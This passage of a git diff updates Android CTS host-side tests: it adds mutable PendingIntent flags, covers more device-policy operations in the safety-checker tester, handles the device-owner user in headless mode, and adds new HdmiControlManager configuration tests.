diff --git a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
index 57cbab9..896efe7 100644
--- a/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
+++ b/hostsidetests/devicepolicy/app/PackageInstaller/src/com/android/cts/packageinstaller/BasePackageInstallTest.java
@@ -154,7 +154,7 @@
                 mContext,
                 sessionId,
                 broadcastIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         return pendingIntent.getIntentSender();
     }
 
diff --git a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
index 764ed3c..1165ef3 100644
--- a/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
+++ b/hostsidetests/devicepolicy/app/ProfileOwner/src/com/android/cts/profileowner/AppUsageObserverTest.java
@@ -36,7 +36,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerAppUsageObserver(obsId, packages, 60, TimeUnit.SECONDS, pendingIntent);
         usm.unregisterAppUsageObserver(obsId);
@@ -56,7 +56,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         usm.registerUsageSessionObserver(obsId, packages, Duration.ofSeconds(60),
                 Duration.ofSeconds(10), pendingIntent, null);
@@ -77,7 +77,7 @@
         Intent intent = new Intent(Intent.ACTION_MAIN);
         PendingIntent pendingIntent = PendingIntent.getActivity(
                 InstrumentationRegistry.getContext(),
-                1, intent, 0);
+                1, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         // Register too many AppUsageObservers
         for (int obsId = 0; obsId < OBSERVER_LIMIT; obsId++) {
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
index 15cc3f6..efe511a 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
+++ b/hostsidetests/devicepolicy/app/SimpleApp/src/com/android/cts/launcherapps/simpleapp/SimpleActivityImmediateExit.java
@@ -38,12 +38,14 @@
     @Override
     public void onStart() {
         super.onStart();
+        Log.i(TAG, "Starting SimpleActivityImmediateExit.");
         finish();
     }
 
     @Override
     protected void onStop() {
         super.onStop();
+        Log.i(TAG, "Stopping SimpleActivityImmediateExit.");
         // Notify any listener that this activity is about to end now.
         Intent reply = new Intent();
         reply.setAction(ACTIVITY_EXIT_ACTION);
diff --git a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
index d9049c8..d8073c9 100644
--- a/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
+++ b/hostsidetests/devicepolicy/app/common/src/com/android/cts/devicepolicy/DevicePolicySafetyCheckerIntegrationTester.java
@@ -17,6 +17,13 @@
 
 import static android.app.admin.DevicePolicyManager.OPERATION_LOCK_NOW;
 import static android.app.admin.DevicePolicyManager.OPERATION_LOGOUT_USER;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_ACTIVE_ADMIN;
+import static android.app.admin.DevicePolicyManager.OPERATION_REMOVE_KEY_PAIR;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_ALWAYS_ON_VPN_PACKAGE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_MASTER_VOLUME_MUTED;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_GRANT_STATE;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_PERMISSION_POLICY;
+import static android.app.admin.DevicePolicyManager.OPERATION_SET_RESTRICTIONS_PROVIDER;
 import static android.app.admin.DevicePolicyManager.OPERATION_SET_USER_RESTRICTION;
 import static android.app.admin.DevicePolicyManager.operationToString;
 
@@ -33,6 +40,7 @@
 import java.util.ArrayList;
 import java.util.List;
 import java.util.Objects;
+import java.util.Set;
 
 /**
  * Helper class to test that DPM calls fail when determined by the
@@ -47,11 +55,18 @@
     private static final int[] OPERATIONS = new int[] {
             OPERATION_LOCK_NOW,
             OPERATION_LOGOUT_USER,
-            OPERATION_SET_USER_RESTRICTION
+            OPERATION_REMOVE_ACTIVE_ADMIN,
+            OPERATION_REMOVE_KEY_PAIR,
+            OPERATION_SET_MASTER_VOLUME_MUTED,
+            OPERATION_SET_USER_RESTRICTION,
+            OPERATION_SET_PERMISSION_GRANT_STATE,
+            OPERATION_SET_PERMISSION_POLICY,
+            OPERATION_SET_RESTRICTIONS_PROVIDER
     };
 
     private static final int[] OVERLOADED_OPERATIONS = new int[] {
-            OPERATION_LOCK_NOW
+            OPERATION_LOCK_NOW,
+            OPERATION_SET_ALWAYS_ON_VPN_PACKAGE
     };
 
     /**
@@ -149,7 +164,7 @@
     }
 
     private void runCommonOrSpecificOperation(DevicePolicyManager dpm, ComponentName admin,
-            int operation, boolean overloaded) {
+            int operation, boolean overloaded) throws Exception {
         String name = getOperationName(operation, overloaded);
         Log.v(TAG, "runOperation(): " + name);
         switch (operation) {
@@ -163,9 +178,36 @@
             case OPERATION_LOGOUT_USER:
                 dpm.logoutUser(admin);
                 break;
+            case OPERATION_SET_ALWAYS_ON_VPN_PACKAGE:
+                if (overloaded) {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true);
+                } else {
+                    dpm.setAlwaysOnVpnPackage(admin, "vpnPackage", /* lockdownEnabled= */ true,
+                            /* lockdownAllowlist= */ Set.of("vpnPackage"));
+                }
+                break;
+            case OPERATION_SET_MASTER_VOLUME_MUTED:
+                dpm.setMasterVolumeMuted(admin, /* on= */ true);
+                break;
+            case OPERATION_SET_PERMISSION_GRANT_STATE:
+                dpm.setPermissionGrantState(admin, "package", "permission", /* grantState= */ 0);
+                break;
+            case OPERATION_SET_PERMISSION_POLICY:
+                dpm.setPermissionPolicy(admin, /* policy= */ 0);
+                break;
+            case OPERATION_SET_RESTRICTIONS_PROVIDER:
+                dpm.setRestrictionsProvider(admin,
+                        /* provider= */ new ComponentName("package", "component"));
+                break;
             case OPERATION_SET_USER_RESTRICTION:
                 dpm.addUserRestriction(admin, UserManager.DISALLOW_REMOVE_USER);
                 break;
+            case OPERATION_REMOVE_ACTIVE_ADMIN:
+                dpm.removeActiveAdmin(admin);
+                break;
+            case OPERATION_REMOVE_KEY_PAIR:
+                dpm.removeKeyPair(admin, "keyAlias");
+                break;
             default:
                 runOperation(dpm, admin, operation, overloaded);
         }
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 2360174..0ea3a4f 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -148,6 +148,7 @@
 
     /** Whether DPM is supported. */
     protected boolean mHasFeature;
+    protected int mDeviceOwnerUserId;
     protected int mPrimaryUserId;
 
     /** Record the initial user ID. */
@@ -208,11 +209,12 @@
         }
 
         if (!isHeadlessSystemUserMode()) {
-            mPrimaryUserId = getPrimaryUser();
+            mDeviceOwnerUserId = mPrimaryUserId = getPrimaryUser();
         } else {
             // For headless system user, all tests will be executed on current user
             // and therefore, initial user is set as primary user for test purpose.
             mPrimaryUserId = mInitialUserId;
+            mDeviceOwnerUserId = USER_SYSTEM;
         }
 
         mFixedUsers.add(mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 219b3b7..02e2455 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -1614,10 +1614,12 @@
                 }, new DevicePolicyEventWrapper.Builder(EventId.INSTALL_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.REMOVE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
@@ -1634,13 +1636,13 @@
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("RSA")
+                .setStrings("RSA", "notCredentialManagementApp")
                 .build(),
                 new DevicePolicyEventWrapper.Builder(EventId.GENERATE_KEY_PAIR_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
                 .setInt(0)
-                .setStrings("EC")
+                .setStrings("EC", "notCredentialManagementApp")
                 .build());
 
     }
@@ -1656,6 +1658,7 @@
                 }, new DevicePolicyEventWrapper.Builder(EventId.SET_KEY_PAIR_CERTIFICATE_VALUE)
                 .setAdminPackageName(DEVICE_ADMIN_PKG)
                 .setBoolean(false)
+                .setStrings("notCredentialManagementApp")
                 .build());
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index fcf2ce9..b600f25 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -103,16 +103,20 @@
     private static final String GLOBAL_SETTING_USB_MASS_STORAGE_ENABLED =
             "usb_mass_storage_enabled";
 
+    private boolean mDeviceOwnerSet;
+
     @Override
     public void setUp() throws Exception {
         super.setUp();
         if (mHasFeature) {
-            installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
-            if (!setDeviceOwner(DEVICE_OWNER_COMPONENT, mPrimaryUserId,
-                    /*expectFailure*/ false)) {
-                removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId);
+            installAppAsUser(DEVICE_OWNER_APK, mDeviceOwnerUserId);
+            mDeviceOwnerSet = setDeviceOwner(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId,
+                    /*expectFailure*/ false);
+
+            if (!mDeviceOwnerSet) {
+                removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId);
                 getDevice().uninstallPackage(DEVICE_OWNER_PKG);
-                fail("Failed to set device owner");
+                fail("Failed to set device owner for user " + mDeviceOwnerUserId);
             }
 
             // Enable the notification listener
@@ -125,8 +129,10 @@
     @Override
     public void tearDown() throws Exception {
         if (mHasFeature) {
-            assertTrue("Failed to remove device owner.",
-                    removeAdmin(DEVICE_OWNER_COMPONENT, mPrimaryUserId));
+            if (mDeviceOwnerSet) {
+                assertTrue("Failed to remove device owner for user " + mDeviceOwnerUserId,
+                        removeAdmin(DEVICE_OWNER_COMPONENT, mDeviceOwnerUserId));
+            }
             getDevice().uninstallPackage(DEVICE_OWNER_PKG);
             switchUser(USER_SYSTEM);
             removeTestUsers();
@@ -993,7 +999,7 @@
             // The simple app package seems to be set into stopped state on reboot.
             // Launch the activity again to get it out of stopped state.
             startActivityAsUser(mPrimaryUserId, SIMPLE_APP_PKG, SIMPLE_APP_ACTIVITY);
-            forceStopPackageForUser(SIMPLE_APP_PKG, mPrimaryUserId);
+            forceStopPackageForUser(SIMPLE_APP_PKG, mDeviceOwnerUserId);
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
                     "testForceStopWithUserControlDisabled");
             executeDeviceTestMethod(".UserControlDisabledPackagesTest",
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 2ac24a3..d7e7045 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -19,9 +19,12 @@
     certificate: "platform",
     srcs: ["src/**/*.java"],
     static_libs: [
-        "services.core",
-        "guava",
         "androidx.test.runner",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+        "guava",
+        "services.core",
+        "truth-prebuilt",
     ],
     min_sdk_version: "28",
 }
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index 90403e5..c441f85 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -44,8 +44,14 @@
                 <action android:name="android.hdmicec.app.OTP" />
             </intent-filter>
         </activity>
+
+        <uses-library android:name="android.test.runner" />
     </application>
 
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.hdmicec.app" />
+
     <uses-sdk android:minSdkVersion="28"   android:targetSdkVersion="28" />
 
 </manifest>
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
new file mode 100644
index 0000000..b335c5d
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiControlManagerTest.java
@@ -0,0 +1,285 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static junit.framework.Assert.fail;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.Manifest;
+import android.hardware.hdmi.HdmiControlManager;
+import android.hardware.hdmi.HdmiDeviceInfo;
+import android.hardware.hdmi.HdmiPlaybackClient;
+import android.hardware.hdmi.HdmiSwitchClient;
+import android.hardware.hdmi.HdmiTvClient;
+import android.os.SystemProperties;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.Arrays;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+
+/**
+ * Class to test basic functionality and API of HdmiControlManager
+ */
+@RunWith(AndroidJUnit4.class)
+public class HdmiControlManagerTest {
+
+    private static final int DEVICE_TYPE_SWITCH = 6;
+
+    private static final int TIMEOUT_CONTENT_CHANGE_SEC = 3;
+
+    private HdmiControlManager mHdmiControlManager;
+
+    @Before
+    public void setUp() throws Exception {
+        getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
+                Manifest.permission.HDMI_CEC);
+
+        mHdmiControlManager = getInstrumentation().getTargetContext().getSystemService(
+                HdmiControlManager.class);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
+    }
+
+
+    @Test
+    public void testHdmiControlManager() {
+        if (mHdmiControlManager == null) {
+            throw new AssertionError("Unable to get HdmiControlManager");
+        }
+    }
+
+    @Test
+    public void testGetHdmiClient() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient()).isInstanceOf(HdmiTvClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_TV)).isInstanceOf(
+                    HdmiTvClient.class);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient()).isInstanceOf(
+                    HdmiPlaybackClient.class);
+            assertThat(mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_PLAYBACK)).isInstanceOf(
+                    HdmiPlaybackClient.class);
+        }
+        if (deviceTypes.contains("5")) {
+            assertThat(
+                    mHdmiControlManager.getClient(HdmiDeviceInfo.DEVICE_AUDIO_SYSTEM)).isNotNull();
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+        if (deviceTypes.contains("6") || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient()).isInstanceOf(HdmiSwitchClient.class);
+            assertThat(mHdmiControlManager.getClient(6)).isInstanceOf(HdmiSwitchClient.class);
+        }
+    }
+
+    @Test
+    public void testHdmiClientType() throws Exception {
+        String deviceTypesValue = SystemProperties.get("ro.hdmi.cec_device_types");
+        if (deviceTypesValue.isEmpty()) {
+            deviceTypesValue = SystemProperties.get("ro.hdmi.device_type");
+        }
+
+        List<String> deviceTypes = Arrays.asList(deviceTypesValue.split(","));
+
+        if (deviceTypes.contains("0")) {
+            assertThat(mHdmiControlManager.getTvClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_TV);
+        }
+        if (deviceTypes.contains("4")) {
+            assertThat(mHdmiControlManager.getPlaybackClient().getDeviceType()).isEqualTo(
+                    HdmiDeviceInfo.DEVICE_PLAYBACK);
+        }
+
+        boolean isSwitchDevice = SystemProperties.getBoolean("ro.hdmi.cec.source.is_switch.enabled",
+                false);
+
+        if (deviceTypes.contains(String.valueOf(DEVICE_TYPE_SWITCH)) || isSwitchDevice) {
+            assertThat(mHdmiControlManager.getSwitchClient().getDeviceType()).isEqualTo(
+                    DEVICE_TYPE_SWITCH);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED)) {
+                mHdmiControlManager.setHdmiCecEnabled(value);
+                assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecEnabled_Listener() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecEnabled();
+        assumeTrue("Skipping because option not user-modifiable",
+                mHdmiControlManager.getUserCecSettings().contains(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED));
+        CountDownLatch notifyLatch1 = new CountDownLatch(1);
+        CountDownLatch notifyLatch2 = new CountDownLatch(2);
+        HdmiControlManager.CecSettingChangeListener listener =
+                new HdmiControlManager.CecSettingChangeListener() {
+                    @Override
+                    public void onChange(String setting) {
+                        notifyLatch1.countDown();
+                        notifyLatch2.countDown();
+                        assertThat(setting).isEqualTo(
+                                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_ENABLED);
+                    }
+                };
+        try {
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            mHdmiControlManager.addHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_ENABLED);
+            if (!notifyLatch1.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS)) {
+                fail("Timed out waiting for the notify callback");
+            }
+            mHdmiControlManager.removeHdmiCecEnabledChangeListener(listener);
+            mHdmiControlManager.setHdmiCecEnabled(HdmiControlManager.HDMI_CEC_CONTROL_DISABLED);
+            notifyLatch2.await(TIMEOUT_CONTENT_CHANGE_SEC, TimeUnit.SECONDS);
+            assertThat(notifyLatch2.getCount()).isEqualTo(1);
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecEnabled(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecEnabled()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_HdmiCecVersion() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getHdmiCecVersion();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_HDMI_CEC_VERSION)) {
+                mHdmiControlManager.setHdmiCecVersion(value);
+                assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setHdmiCecVersion(originalValue);
+            assertThat(mHdmiControlManager.getHdmiCecVersion()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerControlMode() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerControlMode();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_CONTROL_MODE)) {
+                mHdmiControlManager.setPowerControlMode(value);
+                assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerControlMode(originalValue);
+            assertThat(mHdmiControlManager.getPowerControlMode()).isEqualTo(originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_PowerStateChangeOnActiveSourceLost() throws Exception {
+        // Save original value
+        String originalValue = mHdmiControlManager.getPowerStateChangeOnActiveSourceLost();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+            return;
+        }
+        try {
+            for (String value : mHdmiControlManager.getAllowedCecSettingStringValues(
+                    HdmiControlManager.CEC_SETTING_NAME_POWER_STATE_CHANGE_ON_ACTIVE_SOURCE_LOST)) {
+                mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(value);
+                assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                        value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setPowerStateChangeOnActiveSourceLost(originalValue);
+            assertThat(mHdmiControlManager.getPowerStateChangeOnActiveSourceLost()).isEqualTo(
+                    originalValue);
+        }
+    }
+
+    @Test
+    public void testHdmiCecConfig_SystemAudioModeMuting() throws Exception {
+        // Save original value
+        int originalValue = mHdmiControlManager.getSystemAudioModeMuting();
+        if (!mHdmiControlManager.getUserCecSettings().contains(
+                HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+            return;
+        }
+        try {
+            for (int value : mHdmiControlManager.getAllowedCecSettingIntValues(
+                    HdmiControlManager.CEC_SETTING_NAME_SYSTEM_AUDIO_MODE_MUTING)) {
+                mHdmiControlManager.setSystemAudioModeMuting(value);
+                assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(value);
+            }
+        } finally {
+            // Restore original value
+            mHdmiControlManager.setSystemAudioModeMuting(originalValue);
+            assertThat(mHdmiControlManager.getSystemAudioModeMuting()).isEqualTo(originalValue);
+        }
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index f47334a..b926001 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -93,7 +93,7 @@
             ITestDevice device, List<String> clientCommands, List<String> comPorts)
             throws Exception {
         String serialNo = device.getProperty("ro.serialno");
-        String serialNoParam = CecMessage.formatParams(serialNo);
+        String serialNoParam = CecMessage.convertStringToHexParams(serialNo);
         /* formatParams prefixes with a ':' that we do not want in the vendorcommand
          * command line utility.
          */
@@ -118,7 +118,7 @@
                 try {
                     device.executeShellCommand(sendVendorCommand.toString());
                     String message = checkExpectedOutput(toDevice, CecOperand.VENDOR_COMMAND);
-                    if (CecMessage.getParamsAsString(message).equalsIgnoreCase(serialNo)) {
+                    if (CecMessage.getAsciiString(message).equalsIgnoreCase(serialNo)) {
                         /* If no Exception was thrown, then we have received the message we were
                          * looking for.
                          */
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
new file mode 100644
index 0000000..74d4b63
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiControlManagerHostTest.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assume.assumeTrue;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.ddmlib.Log;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.testtype.junit4.DeviceTestRunOptions;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class HdmiControlManagerHostTest extends BaseHostJUnit4Test {
+
+    private static final String APK = "HdmiCecHelperApp.apk";
+    private static final String PACKAGE = "android.hdmicec.app";
+    private static final String FEATURE_HDMI_CEC = "android.hardware.hdmi.cec";
+
+    private boolean mHasFeature;
+
+    @Before
+    public void setUp() throws Exception {
+        mHasFeature = ApiLevelUtil.isAtLeast(getDevice(), 28) && hasDeviceFeature(FEATURE_HDMI_CEC);
+        assumeTrue("Skipping HdmiControlService tests for this device", mHasFeature);
+
+        installPackage(APK);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        if (mHasFeature) {
+            uninstallPackage(APK);
+        }
+    }
+
+    private void runTest(String className) throws Exception {
+        runTest(className, null);
+    }
+
+    private void runTest(String className, String methodName) throws Exception {
+        String fullClassName = String.format("%s.%s", PACKAGE, className);
+
+        DeviceTestRunOptions deviceTestRunOptions = new DeviceTestRunOptions(PACKAGE)
+                .setTestClassName(fullClassName)
+                .setCheckResults(false);
+
+        if (methodName != null) {
+            deviceTestRunOptions.setTestMethodName(methodName);
+        }
+
+        Assert.assertTrue(
+                fullClassName + ((methodName != null) ? ("." + methodName) : "") + " failed.",
+                runDeviceTests(deviceTestRunOptions));
+    }
+
+    /** test HdmiControlManager */
+    @Test
+    public void testHdmiControlManager() throws Exception {
+        CLog.logAndDisplay(Log.LogLevel.INFO,
+                "HdmiControlManagerHostTest: running HdmiControlManagerTest");
+        runTest("HdmiControlManagerTest");
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
index efcf3d1..68bbf51 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecPowerStatusTest.java
@@ -69,12 +69,21 @@
 
         // Move device to standby
         device.executeShellCommand("input keyevent KEYCODE_SLEEP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
         // Turn device on
         device.executeShellCommand("input keyevent KEYCODE_WAKEUP");
+        TimeUnit.SECONDS.sleep(WAIT_TIME);
 
